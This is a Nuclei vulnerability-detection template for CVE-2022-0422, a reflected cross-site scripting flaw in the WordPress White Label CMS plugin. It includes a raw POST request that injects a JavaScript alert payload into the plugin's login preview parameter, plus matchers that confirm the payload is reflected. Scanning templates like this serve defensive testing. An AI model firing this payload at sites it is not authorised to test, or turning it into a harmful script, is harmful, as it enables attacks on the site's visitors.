nuclei-templates/cves/2022/CVE-2022-0422.yaml

id: CVE-2022-0422

info:
  name: WordPress White Label MS < 2.2.9 - Reflected Cross-Site Scripting
  author: random-robbie
  severity: medium
  description: The plugin does not sanitise and validate the wlcms[_login_custom_js] parameter before outputting it back in the response while previewing, leading to a Reflected Cross-Site Scripting issue back in the response, leading to reflected cross-site scripting.
  reference:
    - https://wpscan.com/vulnerability/429be4eb-8a6b-4531-9465-9ef0d35c12cc
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0422
    - https://plugins.trac.wordpress.org/changeset/2672615
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0422
    cwe-id: CWE-79
  tags: cve,cve2022,wordpress,xss,wp-plugin

requests:
  - raw:
      - |
        POST /wp-login.php?wlcms-action=preview HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        wlcms%5B_login_custom_js%5D=alert%28%2FXSS%2F%29%3B

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "alert(/XSS/);"

      - type: word
        part: body
        words:
          - "wlcms-login-wrapper"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200